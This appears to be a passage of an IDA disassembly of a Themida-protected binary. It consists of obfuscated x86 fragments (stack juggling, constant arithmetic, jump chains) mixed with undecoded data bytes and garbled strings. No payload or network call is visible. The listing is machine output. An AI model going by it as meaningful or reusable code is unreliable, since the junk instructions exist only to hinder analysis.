		dd 0C381D3F7h, 0DF07AD4h, 0CCE0F381h, 0DF8930E5h, 2C77E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53C3C2:				; CODE XREF: Themida_:00539626j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [edi+24h]


loc_53C3DD:				; CODE XREF: Themida_:00538D40j
		push	ebx
		push	eax
		mov	eax, 63A807A4h
		jmp	loc_53986A
; ---------------------------------------------------------------------------


loc_53C3E9:				; CODE XREF: Themida_:0053A081j
		add	al, bl
		jmp	loc_53B01A
; ---------------------------------------------------------------------------
		dd 0EE34E95Ah, 487FFFFh, 0D61E924h, 17680000h, 89000074h
		dd 8B542404h, 89562404h, 4C681E6h, 83000000h, 348704C6h
		dd 0F715E924h, 5653FFFFh, 493F57BEh, 0CE97E927h, 2D5BFFFFh
		dd 7562C3Fh, 2AB7C22Dh,	0E9C28929h, 0FFFFFC4Dh,	8704C383h
		dd 0E95C241Ch, 0FFFF9679h
; ---------------------------------------------------------------------------


loc_53C448:				; CODE XREF: Themida_:0053B845j
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, 739241A0h
		sub	eax, edi
		jmp	loc_539095
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4216624h, 4AE99C24h,	1FFFF96h, 96BE9FBh, 2D400000h
		dd 713A3E31h, 8CFF9A05h, 0F1CE9C0h, 0D5890000h,	8324148Bh
		dd 3C8904ECh, 81E78924h, 4C7h, 0D0E5E900h, 0E9C1FFFFh
		dd 0CDE95706h, 5A000017h, 0FF9C5BE9h, 0ED815AFFh, 7F9C7EF3h
		dd 94E9EA01h, 66FFFFCBh, 52240C8Bh, 0BB53E289h,	4, 22A5E9h
		dd 665F2D00h, 28E9400Eh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53C4DF:				; CODE XREF: Themida_:0053FA94j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xor	edx, edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 5824CD9h
		or	edi, 3B4103BEh
		jmp	loc_53E7D6
; ---------------------------------------------------------------------------


loc_53C502:				; CODE XREF: Themida_:00538FA3j
		pop	esp
		mov	[esp], ebx
		jmp	loc_53B34F
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95104C4h, 0FFFFC709h
; ---------------------------------------------------------------------------


loc_53C514:				; CODE XREF: Themida_:0053CC7Dj
		push	edx
		pop	ecx
		pop	edx
		jmp	loc_53AEBD
; ---------------------------------------------------------------------------


loc_53C51C:				; CODE XREF: Themida_:0053D54Aj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_53FA38
; ---------------------------------------------------------------------------
aR_0		db 'R¶%³º',0
		db 0F3h, 5Ah, 0E9h
		dd 0FFFFB423h, 4568E9F7h, 8900002Dh, 31682414h,	83000002h
		dd 248904ECh, 9E7CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53C55A:				; CODE XREF: Themida_:0054142Bj
		pop	edx
		jmp	loc_536547
; ---------------------------------------------------------------------------
		dd 8B240C33h, 0F7662424h, 4EC83F1h, 0FFF60EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53C571:				; CODE XREF: Themida_:0053ADC3j
		or	eax, eax
		jmp	loc_53F38F
; ---------------------------------------------------------------------------


loc_53C578:				; CODE XREF: Themida_:00542201j
		xchg	ebx, [esp]
		pop	esp
		push	2E76h
		jmp	loc_53F031
; ---------------------------------------------------------------------------


loc_53C586:				; CODE XREF: Themida_:0053B6D3j
		pop	cx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0EDh
		push	bx
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0C0h
		mov	bl, dl
		pop	dx
		sub	dh, 65h
		add	dh, bl
		push	ecx
		mov	ch, 2Ah
		sub	ch, 0C5h
		add	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_53C349
; ---------------------------------------------------------------------------


loc_53C5C0:				; CODE XREF: Themida_:00539645j
		add	eax, ecx
		pop	ecx
		shl	eax, 1
		jmp	loc_54141C
; ---------------------------------------------------------------------------


loc_53C5CA:				; CODE XREF: Themida_:0053B8B6j
		mov	[esp], ecx
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0FAF18104h, 0E97DBF1Fh, 0FFFFDB4Ah
; ---------------------------------------------------------------------------


loc_53C5E0:				; CODE XREF: Themida_:0053B6E0j
		add	eax, edi
		add	[eax], esi
		pop	eax
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_53BBEE
; ---------------------------------------------------------------------------
aRiSki		db 'RˆÊéŠI',0
		dd 4C48100h, 68000000h,	6B7Ch, 89241C89h, 0F4E950E3h, 2900000Bh
		dd 24048BC6h, 5104C483h, 95DA04B9h, 0E8B8E94Dh,	0E289FFFFh
		dd 4C281h, 0C2810000h, 2, 8B241487h, 0F0E92424h, 68FFFFF1h
		dd 4766h, 0BA241489h, 2B451D45h, 544FE9h, 442D6600h, 0A52D667Bh
		dd 4BFBE906h, 80580000h, 0C3800DC3h, 50C3002Ch,	807BB252h
		dd 0EAC0DCF2h, 0EC28003h, 0E95AD088h, 0FFFFCFF7h, 0E9243C87h
		dd 0FFFFFA1Ah, 4BAh, 0A3BA5200h, 0E97BFA78h, 0FFFFFB94h
; ---------------------------------------------------------------------------


loc_53C690:				; CODE XREF: Themida_:0053CC8Aj
		pop	edx
		shr	ebp, 3
		shr	ebp, 7
		xor	ebp, 2C87608Ch
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		sub	ebp, 0D26B3CE2h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_541371
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0EC830000h, 5568E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53C6C6:				; CODE XREF: Themida_:00540B37j
		push	eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_53F963
; ---------------------------------------------------------------------------
aBGqCxp		db 'ÃgQ]CX',0
		db 0E9h
		dd 0FFFF93E1h
; ---------------------------------------------------------------------------


loc_53C6E0:				; CODE XREF: Themida_:00536945j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, 1
		add	ecx, eax
		pop	eax
		or	ecx, 5C8943D7h
		xor	ecx, 0FDBFC3F7h
		and	eax, ecx
		jmp	loc_537EA0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4BB53h, 0C1810000h, 48BF165Ch, 40D7E981h, 0D9296ED1h
		dd 40D7C181h, 0B8506ED1h, 48BF165Ch, 8B58C129h,	0C483241Ch
		dd 240C8704h, 241C895Ch, 5AE646BBh, 0E9D8315Ah,	2971h
		dd 0F0240481h, 836E9474h, 3C8904ECh, 0C830E924h, 535AFFFFh
		dd 0FFFDDAE9h, 9363E9FFh, 8951FFFFh, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0A597E95Ch,	0F781FFFFh, 12A75842h
		dd 24FCC781h, 3D68EA44h, 8900001Ah, 0BD55243Ch,	3B1F4A94h
		dd 4246C31h, 0BA525D5Dh, 3B1F4A94h, 8C5E9h, 0FCED8100h
		dd 100003Fh, 0C6835DEEh, 24348702h, 115DE9h, 48B6600h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 89240C89h
		dd 4C181E1h, 68000000h,	48C2h, 0BB241C89h, 2, 4212E981h
		dd 0E9813EF4h, 216C663Ch, 0FFE4A9E9h, 0E38953FFh, 0FFAFB5E9h
		dd 7953BEFFh, 0E6816D86h, 3EF7388Ch, 435F681h, 0EE81617Bh
		dd 0E982BD70h, 5FE9F301h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53C81B:				; CODE XREF: Themida_:00539354j
		mov	[esp], cx
		push	ebx
		mov	bh, 9Eh
		jmp	loc_5411A1
; ---------------------------------------------------------------------------
		db 4Eh
		dd 5091EE81h, 0F329D7BCh, 0E9D3015Eh, 22BBh
; ---------------------------------------------------------------------------


loc_53C838:				; CODE XREF: Themida_:00538056j
		xor	edx, 5FFF8670h
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_53F666
; ---------------------------------------------------------------------------


loc_53C848:				; CODE XREF: Themida_:0053F241j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_53D317
; ---------------------------------------------------------------------------
		dd 0B021E9ACh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53C866:				; CODE XREF: Themida_:00535D4Fj
		pop	esp
		jmp	loc_538DAC
; ---------------------------------------------------------------------------
		dd 89243C89h, 0EC8352E7h, 243C8904h, 3C7C3F68h,	81E95F44h
		dd 55FFFFC2h, 2BDh, 4EEB8100h, 1470D74h, 4EC381EBh, 5D470D74h
		dd 37D2E9h, 8AEB8000h, 8041EB80h, 0C3289EC3h, 809EEB80h
		dd 0B86841C3h, 8900006Bh, 32E92404h, 0E9FFFFBEh, 0FFFF9201h
; ---------------------------------------------------------------------------


loc_53C8C0:				; CODE XREF: Themida_:00536CFAj
		mov	eax, 38B6806h
		mov	esi, 0FC7497F9h
		add	esi, eax
		pop	eax
		push	esi
		xor	dword ptr [esp], 75113DEh
		pop	eax
		xor	eax, 75113DEh
		mov	esi, [esp]
		push	edx
		jmp	loc_541B28
; ---------------------------------------------------------------------------


loc_53C8E4:				; CODE XREF: Themida_:00536597j
		pop	esi
		add	esi, 4
		jmp	loc_542146
; ---------------------------------------------------------------------------
		dd 0EC815366h, 4, 0B0240489h, 88515268h, 1AE950C5h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53C907:				; CODE XREF: Themida_:00537244j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_537133
; ---------------------------------------------------------------------------
		dd 5EF2015Fh, 34FF0288h, 0C4835A24h, 919FE904h,	0C781FFFFh
		dd 69323156h, 38E9EF29h, 80FFFFB3h, 0F0001AC6h,	51D8005Ah
		dd 0F5809BB5h, 4CED8092h, 6659E828h, 81241C8Bh,	2C4h, 0FC33000h
		dd 8B66C0B6h, 0A682414h, 89000077h, 5B54241Ch, 0FFBCDBE9h
		dd 56C329FFh, 702C8BBEh, 8BF3295Dh, 0C4812434h,	4, 4661B850h
		dd 0A905337Ah, 0E90E5606h, 0FFFFEE87h, 1B0505Bh, 0C30006B3h
		dd 4EBC058h, 0F380CBFEh, 32C38042h, 0FFE9B5E9h,	0D831ADFFh
		dd 339368h, 2CEBE900h, 59660000h, 8024EB80h, 0D8281AC3h
		dd 1FA1E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53C9BE:				; CODE XREF: Themida_:0054119Cj
		or	ebp, 0CFE3D23h
		neg	ebp
		push	esi
		mov	esi, 18152897h
		push	ebx
		mov	ebx, 6109798Ah
		shr	ebx, 5
		sub	ebx, 267007C2h
		jmp	loc_539676
; ---------------------------------------------------------------------------
		dd 0F624248Bh, 0B60F66F9h, 0AFD68CCh, 14890000h, 53E28924h
		dd 4BBh, 5BDA0100h, 5FB8BE56h, 0E6813DCEh, 534D3E9Eh, 1E9AF681h
		dd 5768114Ch, 89000006h, 0FCB9240Ch, 8147B319h,	32630BE9h
		dd 6CE9811Fh, 0F70E90A4h, 4789E9D9h, 835D0000h,	1C8704EBh
		dd 14AFE924h, 77FF0000h, 907FE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53CA42:				; CODE XREF: Themida_:00540E20j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53B4E0
; ---------------------------------------------------------------------------
		db 81h
		dd 0DAC537C6h, 5EF789CEh, 0FFBCE1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53CA59:				; CODE XREF: Themida_:0053F66Ej
		jnz	loc_53A2B8
		push	1
		push	dword ptr [esp]
		jmp	loc_541751
; ---------------------------------------------------------------------------
		dd 1ACDE958h, 4890000h,	9164E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53CA7A:				; CODE XREF: Themida_:00536AE3j
		push	edx
		mov	edx, 63A807A4h
		jmp	loc_53B8CD
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0C5h
		dd 80FFFFE9h, 8FE9CAF5h, 5A000012h, 1C22E9h, 0B2E95900h
		dd 8FFFFF90h, 39E92404h, 57FFFFFFh, 2F563DBFh, 0EEACE96Dh
		dd 0CA29FFFFh, 0E9D08959h, 0FFFFB329h, 4BD55h, 0E9010000h
		dd 9D13E95Dh, 0F488FFFFh, 8858E588h, 48B66C6h, 2C48324h
		dd 0EE86D5F6h, 0F6BDEE80h, 0B25251DEh, 5AD188BBh, 3059CE00h
		dd 24148BF0h, 4C481h, 36680000h, 89000055h, 5A542414h
		dd 0FFDF74E9h, 4EC81FFh, 89000000h, 0E389241Ch,	4C381h
		dd 0D0680000h, 89000043h, 44E9240Ch, 0B000003Dh, 45B280h
		dd 0BA50E9C2h, 31ADFFFFh, 9B6857D8h, 89000041h,	24B9240Ch
		dd 0E9050176h, 4C82h, 4345A135h, 3573558h, 0E9962CDCh
		dd 3A20h, 4240481h, 0E9000000h,	4DF0h, 285BFD30h, 240C8BE8h
		dd 2387E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53CB6E:				; CODE XREF: Themida_:0053D1F1j
		push	esi
		mov	esi, 4
		jmp	loc_53712B
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 8Bh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_542379
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0E9h
		dd 0FFFFBFF9h
; ---------------------------------------------------------------------------


loc_53CBA4:				; CODE XREF: Themida_:0053AE72j
		push	edi
		mov	edi, 57BF24F8h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 2FC46481h
		neg	esi
		or	esi, 49981F3Ah
		add	esi, 2662C045h
		mov	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_53FA63
; ---------------------------------------------------------------------------


loc_53CBD1:				; CODE XREF: Themida_:00540F49j
		dec	esi
		xor	esi, 9942756h
		xor	esi, 9C40E53h
		jmp	loc_538D4C
; ---------------------------------------------------------------------------
		db 66h
		dd 8F53E950h, 0D301FFFFh, 8124148Bh, 4C4h, 20586800h, 4890000h
		dd 0D295E924h, 0C33FFFFh, 240C3124h, 8B240C33h,	34FF2424h
		dd 0D38E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53CC16:				; CODE XREF: Themida_:005409FEj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5390BD
; ---------------------------------------------------------------------------
		dd 4240483h, 4C5815Dh, 56000000h, 5248E957h, 4810000h
		dd 0A21B0824h, 0EB815B7Eh, 7EA21B08h, 0FFDE50E9h, 8FE95CFFh
		dd 0FFFFFFECh, 16E92434h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53CC53:				; CODE XREF: Themida_:0053EAEEj
		sub	eax, ebx
		sub	eax, 744C349Dh
		pop	ebx
		jmp	loc_53EBDD
; ---------------------------------------------------------------------------


loc_53CC60:				; CODE XREF: Themida_:00540403j
		pop	edi
		push	5C49h
		mov	[esp], ecx
		mov	ecx, 22657110h
		or	ecx, 38C95A1Eh
		jmp	loc_53EA4A
; ---------------------------------------------------------------------------


loc_53CC79:				; CODE XREF: Themida_:00542057j
		dec	ecx
		shr	ecx, 1
		push	ecx
		jmp	loc_53C514
; ---------------------------------------------------------------------------


loc_53CC82:				; CODE XREF: Themida_:0053E129j
		add	ebp, edx
		add	ebp, 754F5CF9h
		jmp	loc_53C690
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 21E92404h, 81000038h, 0CC3CE6CEh,	99BA5227h
		dd 310C7C18h, 0C6815AD6h, 1C89064Bh, 0EE9F201h,	0F7FFFFCEh
		dd 70F681D6h, 0F737041Bh, 64BB53DEh, 313FB737h,	0F7015BDEh
		dd 4EFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_53CCD1:				; CODE XREF: Themida_:0053C2D6j
		mov	ch, 43h
		sub	ch, al
		pop	eax
		and	dh, ch
		pop	cx
		shr	dh, 3
		push	ebx
		mov	bl, 49h
		jmp	loc_538C95
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 8DD3E99Ch, 0E951FFFFh, 0FFFF9BA9h, 2474FF51h, 0F07CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53CCFE:				; CODE XREF: Themida_:0053779Ej
		push	7FD704E0h
		pop	ecx
		dec	ecx
		push	esi
		mov	esi, 1ED7604Ah
		jmp	loc_536140
; ---------------------------------------------------------------------------


loc_53CD10:				; CODE XREF: Themida_:00541C88j
		push	0
		sub	[esp], edx
		pop	edx
		sub	edx, 0FFFFFFFFh
		jmp	loc_538923
; ---------------------------------------------------------------------------
aIxscr		db '‰åéçR',0
		align 4
		dd 1CE92CB3h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53CD2F:				; CODE XREF: Themida_:0053A9D5j
		sub	dword ptr [esp+4], 332E57A6h
		sub	[esp+4], edi
		push	2820h
		mov	[esp], ebp
		mov	ebp, 332E57A6h
		add	[esp+8], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	edi
		pop	edx
		add	edx, 406E4CF5h
		push	edx
		pop	eax
		pop	edx
		push	ebp
		push	ebx
		push	ecx
		mov	ecx, 5F126677h
		sub	ecx, 1245244Fh
		jmp	loc_540410
; ---------------------------------------------------------------------------
		dd 5D8015Dh, 120D5AF2h,	29687E2Dh, 0EDE95B35h, 66000019h
		dd 8324048Bh, 348904ECh, 81E68924h, 4C6h, 0E9505200h, 4A1Ah
		dd 53968h, 241C8900h, 0E95092B3h, 0FFFFB926h
; ---------------------------------------------------------------------------


loc_53CDB0:				; CODE XREF: Themida_:005422E4j
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_537A1B
; ---------------------------------------------------------------------------
		db 0B9h, 58h, 79h
		dd 0D929572Eh, 2A9E9h, 5FFD0100h, 5C242C87h, 3E44E9h, 4E95E00h
		dd 81000027h, 0E15D5CC3h, 4EBC131h, 2D2CE9h, 243C8B00h
		dd 8704C483h, 0E95C241Ch, 0FFFFC0BBh
; ---------------------------------------------------------------------------


loc_53CDF8:				; CODE XREF: Themida_:0053DEA9j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_53DCC7
; ---------------------------------------------------------------------------
		db 1, 0CBh, 81h
		dd 525403EBh, 6FC38123h, 59376C72h, 8B241C87h, 0A2E92424h
		dd 56FFFF8Ch, 506B44BEh, 0D1C28103h, 29795E6Ah,	0D1BD55F2h
		dd 29795E6Ah, 0C83E9EAh, 2C330000h, 242C3124h, 0E9242C33h
		dd 237Eh
; ---------------------------------------------------------------------------


loc_53CE48:				; CODE XREF: Themida_:00539D6Aj
		push	edi
		mov	edi, 26FF2638h
		add	ebx, 1A95325Fh
		push	eax
		jmp	loc_53A8F9
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 2434FFDFh,	0E9241C8Bh, 3CF1h, 423D685Eh, 14890000h
		dd 76206824h, 3C890000h, 66DEBF24h, 0EC837482h,	243C8904h
		dd 80240481h, 0E9265A13h, 0FFFFAECCh
; ---------------------------------------------------------------------------


loc_53CE94:				; CODE XREF: Themida_:00536023j
		push	esi
		jmp	loc_539735
; ---------------------------------------------------------------------------
		dw 5551h
		dd 3F53B5BDh, 5DE9893Eh, 3342C181h, 0E9816F0Ch,	2C15573h
		dd 3180E981h, 0C801AA8Ah, 24048759h, 2D74E9h, 4C48100h
		dd 5000000h, 4,	405h, 24043300h, 33240431h, 248B2404h
		dd 7B3E924h, 89570000h,	4C781E7h, 0E9000000h, 15C1h, 6624248Bh
		dd 8324048Bh, 348904ECh, 0C531E924h, 532CFFFFh,	0FFA85AE9h
		dd 240CD3FFh, 8BAFE99Ch, 0E959FFFFh, 0FFFF9C88h, 17564FBFh
		dd 0BB53E92Fh, 0C381FFFFh, 42F41EF9h, 39BDBD55h, 7BE95FFFh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53CF33:				; CODE XREF: Themida_:0053F8D8j
		mov	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		xor	ecx, 934E4A3h
		jmp	loc_537B6A
; ---------------------------------------------------------------------------
		dd 5A5EF329h, 470168h, 0D2EBE900h, 0BF57FFFFh, 17665499h
		dd 0C781E7D1h, 174C00D2h, 0C074C781h, 0FA8929FBh, 0BC45E95Fh
		dd 0F66FFFFh, 87E902B6h, 89FFFFF4h, 76BF243Ch, 29531673h
		dd 0EB815FFBh, 26DE0AA0h, 0FF97CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53CF8D:				; CODE XREF: Themida_:0053FA4Ej
		push	1B1E1BE5h
		jmp	loc_53C048
; ---------------------------------------------------------------------------
		db 5Ch
		dd 68240C89h, 607Ah, 83241C89h,	3C8904ECh, 51D1BF24h, 0E7C12510h
		dd 58E78102h, 813FEB3Ch, 211C43C7h, 0E9FB890Fh,	0FFFFDBA0h
		dd 4EC8148h, 89000000h,	5DBA2414h, 318FEA85h, 24148BD0h
		dd 4C481h, 1DE90000h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53CFE3:				; CODE XREF: Themida_:0053E496j
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, ebx
		jmp	loc_540F4E
; ---------------------------------------------------------------------------


loc_53CFF5:				; CODE XREF: Themida_:0053A908j
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		not	eax
		xchg	eax, [esp]
		jmp	loc_5393A6
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 0FF9522E9h, 0F90159FFh, 2C1815Fh, 0E9000000h, 0FFFFB297h
; ---------------------------------------------------------------------------


loc_53D024:				; CODE XREF: Themida_:00538926j
		mov	ecx, 50FA7D95h
		jmp	loc_53D0FC
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 9683F897h, 0FFE385E9h, 80C4FEFFh, 0E68834F4h, 0FFB38EE9h
		dd 8A77E9FFh, 248BFFFFh, 89575624h, 8E7BE9E7h, 0EABBFFFFh
		dd 293AF777h, 0DF0158C3h, 0F612E95Bh, 0D531FFFFh, 0E9895F5Ah
		dd 0C67AE95Dh, 15BFFFFh, 0E904244Ch, 0FFFFAB66h, 24048F5Bh
		dd 6624248Bh, 2404AB0Fh, 8A33E99Ch, 0E980FFFFh,	0BDE18055h
		dd 0F696B450h, 0FBEC80D4h, 4450E9h
		db 0
; ---------------------------------------------------------------------------


loc_53D0A1:				; CODE XREF: Themida_:0053E115j
		or	ebx, 379B7BDFh
		push	edx
		mov	edx, 0F141434h
		sub	ebx, edx
		pop	edx
		jmp	loc_53E49B
; ---------------------------------------------------------------------------
		db 0ADh, 83h, 0ECh
		dd 24348904h, 0FFEBD2E9h, 68F380FFh, 0D3F6CBFEh, 0EEE9D3F6h
		dd 0F7000030h, 0C317E9D0h, 0D829FFFFh, 52D0015Bh, 935E94BAh
		dd 55C28135h, 0E93C5370h, 0FFFFA713h, 24048B66h, 0FFEE20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53D0F5:				; CODE XREF: Themida_:00535B89j
		sub	ebx, esi
		jmp	loc_537C36
; ---------------------------------------------------------------------------


loc_53D0FC:				; CODE XREF: Themida_:0053D029j
		and	edx, ecx
		pop	ecx
		inc	edx
		sub	edx, 3926F570h
		add	edi, edx
		jmp	loc_53B84A
; ---------------------------------------------------------------------------
aIGsv		db '¾‰Â¹GéV=',0
		dw 8900h
		dd 0C7E950E7h, 64FFFF98h, 0E9028B66h, 0AC1h, 0E9CE015Ah
		dd 1865h, 3CEFE95Bh, 875D0000h,	0FF5C240Ch, 34FF2434h
		dd 0B2FDE924h, 7B04FFFFh, 7B2CD028h, 148B7B2Ch,	4C48124h
		dd 83000000h, 0EE904ECh, 5CFFFFB9h, 9C2424D3h, 0FF8958E9h
		dd 0F02959FFh, 66BB535Eh, 0E96AAF7Fh, 1B5Fh
; ---------------------------------------------------------------------------


loc_53D178:				; CODE XREF: Themida_:00539753j
		add	esi, 2
		jmp	loc_5386C2
; ---------------------------------------------------------------------------
		dd 0D2A8C381h, 0DE01B131h, 91F6815Bh, 46533D75h, 0F691E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53D196:				; CODE XREF: Themida_:00537FE3j
		or	ecx, ebx
		pop	ebx
		or	ecx, 207531Bh
		push	ebp
		mov	ebp, 72517634h
		push	edi
		jmp	loc_5383B4
; ---------------------------------------------------------------------------
aBaVwi1usC	db 'í/vWi1îéÖC',0
		align 4
		dd 24048B66h, 720868h, 243C8900h, 243C8B54h, 81E18951h
		dd 4C1h, 4C18100h, 0E9000000h, 0FFFFE477h
; ---------------------------------------------------------------------------


loc_53D1DC:				; CODE XREF: Themida_:0053E327j
		not	edx
		jmp	loc_53BD23
; ---------------------------------------------------------------------------


loc_53D1E3:				; CODE XREF: Themida_:0053B8C8j
		add	edx, ebp
		pop	ebp
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_53CB6E
; ---------------------------------------------------------------------------


loc_53D1F6:				; CODE XREF: Themida_:0053E7D9j
		neg	edi
		xor	edi, 385B343Dh
		jmp	loc_538488
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 48BC301h,	0E0895024h, 405h, 40500h, 4870000h, 0FA23E924h
		dd 8152FFFFh, 4ECh, 24348900h, 877F0568h, 24348B1Dh, 81E78957h
		dd 4C7h, 0B92BE900h, 0F75FFFFFh, 51E94BD3h, 58FFFFC8h
		dd 6DC380h, 0F8B050C3h,	0B353ED0Ch, 0EDC8E92Bh,	0DA01FFFFh
		dd 8BD3895Bh, 0C4812414h, 4, 2B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_53D271:				; CODE XREF: Themida_:0053606Ej
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_53F5F7
; ---------------------------------------------------------------------------


loc_53D27B:				; CODE XREF: Themida_:0053987Cj
		add	ebx, edi
		jmp	loc_540247
; ---------------------------------------------------------------------------
		dw 0AF04h
		dd 3B936866h, 0FFBC82E9h, 0C7015AFFh, 74FF5758h, 34FF0424h
		dd 0C4835F24h, 24048F04h, 0F24248Bh, 9C2404A3h,	0FF8814E9h
		dd 4DCB80FFh, 0EBE9C3FEh
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53D2B7:				; CODE XREF: Themida_:0053B024j
		mov	bl, 14h
		jmp	loc_53F53A
; ---------------------------------------------------------------------------


loc_53D2BE:				; CODE XREF: Themida_:0053A753j
		push	edx
		push	edi
		push	40h
		pop	edi
		push	2E02h
		mov	[esp], edi
		sub	dword ptr [esp], 1BDF070Eh
		jmp	loc_537C89
; ---------------------------------------------------------------------------
		dw 0FF68h
		dd 0E9000073h, 0FFFFE8FBh, 8904EC83h, 4BB7241Ch, 1548E950h
		dd 0C8290000h, 592434FFh, 4C481h, 0EC810000h, 4, 1EA1E9h
		dd 240C8900h, 53FE957h,	0AAE90000h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53D317:				; CODE XREF: Themida_:0053C85Bj
		mov	ecx, 2C6B286Ah
		sub	ecx, 0FFFFFFFFh
		push	4BACh
		mov	[esp], ebx
		mov	ebx, 4FCE560Ah
		or	ebx, 43E84234h
		shl	ebx, 4
		sub	ebx, 0A3C93F48h
		add	ecx, ebx
		pop	ebx
		jmp	loc_538FFB
; ---------------------------------------------------------------------------


loc_53D343:				; CODE XREF: Themida_:00539151j
		push	esp
		jmp	loc_541382
; ---------------------------------------------------------------------------


loc_53D349:				; CODE XREF: Themida_:00542154j
		xor	esi, 1E9F1657h
		xor	esi, 43C04391h
		xor	esi, 0A3C2BBECh
		jmp	loc_535DB5
; ---------------------------------------------------------------------------
		dd 97706C2Dh, 0E0D14842h, 3341E72Dh, 58C3899Eh,	622DBE56h
		dd 68686821h, 89000013h, 4EBA2414h, 292CAF0Fh, 0E6815AD6h
		dd 76B508E5h, 8104EEC1h, 0DCFFF5C6h, 8BF301FCh,	0C4832434h
		dd 0E9D3F704h, 0FFFFE39Eh, 1DF1E954h, 0C7310000h, 13D0E958h
		dd 0CB290000h, 83240C8Bh, 0C30104C4h, 0FF93F4E9h, 241C89FFh
		dd 4EC81h, 14890000h, 5CB35324h, 0B1E9DA88h, 0FFFFFFF5h
		dd 5D042474h, 0FFE768E9h, 9F04ACFFh, 1FB25266h,	0FFA309E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53D3ED:				; CODE XREF: Themida_:00535F93j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 1
		push	16C0h
		mov	[esp], eax
		push	esi
		push	793E486Ah
		jmp	loc_53FCE8
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 197709BBh, 0FCEFE931h
		db 2 dup(0FFh)
